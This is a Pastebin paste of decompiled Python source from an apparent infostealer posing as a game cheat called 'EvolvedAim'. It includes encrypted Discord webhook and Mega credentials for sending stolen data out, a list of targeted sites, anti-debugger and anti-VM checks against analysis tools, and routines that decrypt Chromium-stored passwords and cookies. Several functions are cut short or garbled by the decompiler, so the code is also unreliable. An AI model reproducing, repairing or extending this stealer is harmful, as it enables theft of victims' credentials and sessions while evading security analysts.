Guest User

Untitled

a guest
Jan 29th, 2024
419
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.39 KB | None | 0 0
  1. # Source Generated with Decompyle++
  2. # File: antivm.pyc (Python 3.10)
  3.  
  4. import json
  5. from time import sleep
  6. import pathlib
  7. import winreg
  8. import zipfile
  9. from fileinput import close
  10. import fnmatch
  11. from mega import Mega
  12. import ctypes
  13. import platform
  14. import wmi
  15. from json import loads as json_loads
  16. import psutil
  17. import win32api
  18. from PIL import ImageGrab
  19. from win32crypt import CryptUnprotectData
  20. from os import listdir
  21. from re import findall
  22. from subprocess import Popen, PIPE
  23. from discord_webhook import DiscordWebhook, DiscordEmbed
  24. import requests
  25. import threading
  26. from sqlite3 import connect as sql_connect
  27. from urllib.request import Request, urlopen
  28. from json import loads, dumps
  29. import re
  30. import subprocess
  31. import logging
  32. import string
  33. import tempfile
  34. from Crypto.Protocol.KDF import PBKDF2
  35. import os
  36. import shutil
  37. import sqlite3
  38. import random
  39. import json
  40. import base64
  41. from Crypto.Cipher import AES, DES3
  42. from ctypes import Structure, POINTER, c_char, c_buffer, byref, wintypes, cdll, windll
  43. import overlay
  44. logging.getLogger('mega').setLevel(logging.WARNING)
  45. wh3_enc = overlay.decrypt_bot_string('353239313430353738393039313134305f07b325a9db7c8889667dd4d95518f992252a993fe6377ab1bc13feb5eca692cfb00bff9da39ed91465bd9a0c18f5bb39804abf35f7454394c926fa112925bbd784c9eecc0458a3a365b55f350db1f51b83b2cc1b28721ae43d9dcec2ebcf80daf9327417677953d32d27d2b4c8afbac160f2dbff13ef96d8663dbd6481e544')
  46. wh4_enc = overlay.decrypt_bot_string('353239313430353738393039313134305f07b325a9db7c8889667dd4d95518f992252a993fe6377ab1bc13feb5eca692d183c4e74afd3aca3a1536326ca994dfcc221eb1c7f2b7fe47e0fb8c8124ac2ee344ff29da30cc752b5979025f0431acf0688e70f02f8a56bddbc7ede79191e8fa226f4423fa6dcf6995992adc29405b3470c04000e9165bc32be906f6d8881e')
  47. meu_enc = overlay.decrypt_bot_string('35323931343035373839303931313430dcbb541533fadb77fb7c22b0f4189f494bd1dbde8b30049d9d6a44f4b2b26c1c')
  48. mep_enc = overlay.decrypt_bot_string('35323931343035373839303931313430f70d80856e3d9c4c317e975f632e9651')
  49. hooks_fields = {
  50. 'main': wh3_enc,
  51. 'report': wh4_enc }
  52. web_fields = {
  53. 'a': '📜 License Key',
  54. 'b': '📌 PC Username',
  55. 'c': '📌 PC Name',
  56. 'd': '💻 PC Resolution',
  57. 'e': '👀 IP Address',
  58. 'f': '🌎 Location [Country | Region | City]',
  59. 'g': '📅 Email address',
  60. 'h': '🧩 Discord Name',
  61. 'i': '🧩 Discord ID',
  62. 'j': '🧩 Discord Session',
  63. 'k': '‍☠️ Download' }
  64. Passw = []
  65. Cookies = []
  66. (coCount, pwCount) = (0, 0)
  67. coWords = []
  68. pwWords = []
  69. temp = os.getenv('TEMP')
  70. userprofile = os.environ['USERPROFILE']
  71. kw = [
  72. 'mail',
  73. '[elitepvp](https://elitepvpers.com)',
  74. '[chatgpt](https://chat.openai.com)',
  75. '[openai](https://chat.openai.com)',
  76. '[runescape](https://runescape.com',
  77. '[keyauthwin](https://keyauth.win)',
  78. '[keyauthcc](https://keyauth.cc)',
  79. '[authgg](https://auth.gg)',
  80. '[gmail](https://gmail.com)',
  81. '[steam](https://steam.com)',
  82. '[discord](https://discord.com)',
  83. '[riotgames](https://riotgames.com)',
  84. '[youtube](https://youtube.com)',
  85. '[epicgames](https://epicgames.com)',
  86. '[spotify](https://spotify.com)',
  87. '[yahoo](https://yahoo.com)',
  88. '[roblox](https://roblox.com)',
  89. '[twitch](https://twitch.com)',
  90. '[minecraft](https://minecraft.net)',
  91. '[escapefromtarkov](https://escapefromtarkov.com)',
  92. '[origin](https://origin.com)',
  93. '[playstation](https://playstation.com)',
  94. '[hbo](https://hbo.com)',
  95. '[xbox](https://xbox.com)',
  96. 'buy',
  97. 'sell',
  98. '[hotmail](https://hotmail.com)',
  99. '[outlook](https://outlook.com)',
  100. '[crunchyroll](https://crunchyroll.com)',
  101. '[telegram](https://telegram.com)',
  102. '[disney](https://disney.com)',
  103. '[expressvpn](https://expressvpn.com)',
  104. 'crypto',
  105. '[netflix](https://netflix.com)']
  106. Threadlist = []
  107. t3s = []
  108. cleaned = []
  109. checker = []
  110. tokens = []
  111. cleaned = []
  112. checker = []
  113. disname = ''
  114. app_blacklist = [
  115. 'httpdebuggerui.exe',
  116. 'wireshark.exe',
  117. 'HTTPDebuggerSvc.exe',
  118. 'fiddler.exe',
  119. 'regedit.exe',
  120. 'vboxservice.exe',
  121. 'df5serv.exe',
  122. 'vboxtray.exe',
  123. 'vmtoolsd.exe',
  124. 'vmwaretray.exe',
  125. 'ida64.exe',
  126. 'ollydbg.exe',
  127. 'pestudio.exe',
  128. 'vmwareuser',
  129. 'vgauthservice.exe',
  130. 'vmacthlp.exe',
  131. 'x96dbg.exe',
  132. 'vmsrvc.exe',
  133. 'x32dbg.exe',
  134. 'vmusrvc.exe',
  135. 'prl_cc.exe',
  136. 'prl_tools.exe',
  137. 'xenservice.exe',
  138. 'qemu-ga.exe',
  139. 'joeboxcontrol.exe',
  140. 'ksdumperclient.exe',
  141. 'ksdumper.exe',
  142. 'joeboxserver.exe',
  143. 'hxd.exe',
  144. 'dnSpy.exe',
  145. 'charles.exe',
  146. 'burpsuite.exe',
  147. 'windbg.exe',
  148. 'gdb.exe',
  149. 'radare2.exe',
  150. 'strace.exe',
  151. 'ltrace.exe',
  152. 'jadx-gui.exe',
  153. 'apktool.exe',
  154. 'tcpdump.exe',
  155. 'mitmproxy.exe',
  156. 'uncompyle6.exe',
  157. 'pyarmor.exe',
  158. 'pyinstxtractor.py',
  159. 'pyidb.py']
  160.  
  161. def block_blacklist_apps():
  162. webhook = DiscordWebhook(hooks_fields['report'], 'EvolvedAim', **('url', 'username'))
  163. # WARNING: Decompyle incomplete
  164.  
  165.  
  166. def check_sandbox_vm():
  167.  
  168. def is_virtual_machine():
  169.  
  170. try:
  171. output = subprocess.check_output('systeminfo')
  172. output = output.decode().lower()
  173. if 'virtual' in output and 'vmware' in output or 'vbox' in output:
  174. pass
  175. finally:
  176. return True
  177. if platform.system() == 'Windows':
  178. c = wmi.WMI()
  179. for item in c.Win32_ComputerSystem():
  180. if 'Hyper-V' in item.Model:
  181. pass
  182. return True
  183. return False
  184. return False
  185. return False
  186.  
  187.  
  188.  
  189. def is_sandboxie_like_program():
  190. return bool(os.getenv('SBOXDLL'))
  191.  
  192.  
  193. def is_inside_sandbox():
  194.  
  195. try:
  196. ctypes.windll.kernel32.GetModuleHandleA.restype = ctypes.c_long
  197. ctypes.windll.kernel32.GetModuleHandleA.argtypes = [
  198. ctypes.c_char_p]
  199. handle = ctypes.windll.kernel32.GetModuleHandleA(b'SbieDll.dll')
  200. if handle != 0:
  201. pass
  202. finally:
  203. return True
  204. return False
  205. return False
  206.  
  207.  
  208. vm_detected = is_virtual_machine()
  209. if not is_sandboxie_like_program():
  210. pass
  211. sandbox_detected = is_inside_sandbox()
  212. # WARNING: Decompyle incomplete
  213.  
  214.  
  215. def decrypt(buff, master_key):
  216.  
  217. try:
  218. pass
  219. finally:
  220. return None
  221. return 'Error'
  222.  
  223.  
  224.  
  225. def getip():
  226. urls = [
  227. 'https://api.ipify.org',
  228. 'https://ip.cn/api/index?ip=&type=0']
  229. for url in urls:
  230.  
  231. try:
  232. response = requests.get(url)
  233. if response.status_code == 200:
  234. if url == 'https://api.ipify.org':
  235. ip = response.text.strip()
  236. else:
  237. ip = response.json()['ip']
  238. finally:
  239. return None
  240. continue
  241. continue
  242. return 'Failed to resolve IP'
  243.  
  244.  
  245.  
  246. def gethwid():
  247. p = Popen('wmic csproduct get uuid', True, PIPE, PIPE, PIPE, **('shell', 'stdin', 'stdout', 'stderr'))
  248. return (p.stdout.read() + p.stderr.read()).decode().split('\n')[1]
  249.  
  250.  
  251. def getavatar(user, avatar):
  252. url = f'''https://cdn.discordapp.com/avatars/{user}/{avatar}.gif'''
  253.  
  254. try:
  255. urlopen(Request(url))
  256. finally:
  257. return url
  258. url = url[:-4]
  259. return url
  260.  
  261.  
  262.  
  263. def globalInfo():
  264. ip = getip()
  265. username = 'Fakie'
  266. ipdatanojson = urlopen(Request(f'''https://geolocation-db.com/jsonp/{ip}''')).read().decode().replace('callback(', '').replace('})', '}')
  267. ipdata = loads(ipdatanojson)
  268. country = ipdata['country_name']
  269. countryCode = ipdata['country_code'].lower()
  270. globalinfo = f''':flag_{countryCode}: - `{username.upper()} | {ip} ({country})`'''
  271. return globalinfo
  272.  
  273.  
  274. def Trust(Cookies):
  275. global DETECTED, DETECTED
  276. data = str(Cookies)
  277. tim = re.findall('.google.com', data)
  278. if len(tim) < -1:
  279. DETECTED = True
  280. return DETECTED
  281. DETECTED = None
  282. return DETECTED
  283.  
  284.  
  285. class DATA_BLOB(Structure):
  286. _fields_ = [
  287. ('cbData', wintypes.DWORD),
  288. ('pbData', POINTER(c_char))]
  289.  
  290.  
  291. def GetData(blob_out):
  292. cbData = int(blob_out.cbData)
  293. pbData = blob_out.pbData
  294. buffer = c_buffer(cbData)
  295. cdll.msvcrt.memcpy(buffer, pbData, cbData)
  296. windll.kernel32.LocalFree(pbData)
  297. return buffer.raw
  298.  
  299.  
  300. def CryptUnprotectData2(encrypted_bytes, entropy = (b'',)):
  301. buffer_in = c_buffer(encrypted_bytes, len(encrypted_bytes))
  302. buffer_entropy = c_buffer(entropy, len(entropy))
  303. blob_in = DATA_BLOB(len(encrypted_bytes), buffer_in)
  304. blob_entropy = DATA_BLOB(len(entropy), buffer_entropy)
  305. blob_out = DATA_BLOB()
  306. if windll.crypt32.CryptUnprotectData(byref(blob_in), None, byref(blob_entropy), None, None, 1, byref(blob_out)):
  307. return GetData(blob_out)
  308.  
  309.  
  310. def DecryptValue(buff, master_key = (None,)):
  311. starts = buff.decode('utf8', 'ignore', **('encoding', 'errors'))[:3]
  312. if starts == 'v10' or starts == 'v11':
  313. iv = buff[3:15]
  314. payload = buff[15:]
  315. cipher = AES.new(master_key, AES.MODE_GCM, iv)
  316. decrypted_pass = cipher.decrypt(payload)
  317. decrypted_pass = decrypted_pass[:-16].decode()
  318. return decrypted_pass
  319.  
  320.  
  321. def Reformat(listt):
  322. e = re.findall('(\\w+[a-z])', listt)
  323. if 'https' in e:
  324. e.remove('https')
  325. if 'https' in e or 'com' in e:
  326. e.remove('com')
  327. if 'com' in e or 'net' in e:
  328. e.remove('net')
  329. if not 'net' in e:
  330. return list(set(e))
  331.  
  332.  
  333. def generate_random_folder_name(prefix, length = ('tmp', 8)):
  334. random_string = ''.join((lambda .0: for _ in .0:
  335. random.choice(string.ascii_lowercase + string.digits))(range(length)))
  336. return prefix + random_string
  337.  
  338.  
  339. def get_downloads_folder_path():
  340. pass
  341. # WARNING: Decompyle incomplete
  342.  
  343.  
  344. def fandfloco(meu_enc, mep_enc):
  345. folder_path = os.environ.get('ProgramData')
  346. # WARNING: Decompyle incomplete
  347.  
  348.  
  349. def save_data(data, name):
  350. pass
  351. # WARNING: Decompyle incomplete
  352.  
  353. Passw = []
  354.  
  355. def gPSw(path, arg):
  356. pass
  357. # WARNING: Decompyle incomplete
  358.  
  359. Cookies = []
  360.  
  361. def gCy(path, arg):
  362. pass
  363. # WARNING: Decompyle incomplete
  364.  
  365. (coCount, pwCount) = (0, 0)
  366. coWords = []
  367. pwWords = []
  368. # WARNING: Decompyle incomplete
  369.  
Add Comment
Please, Sign In to add comment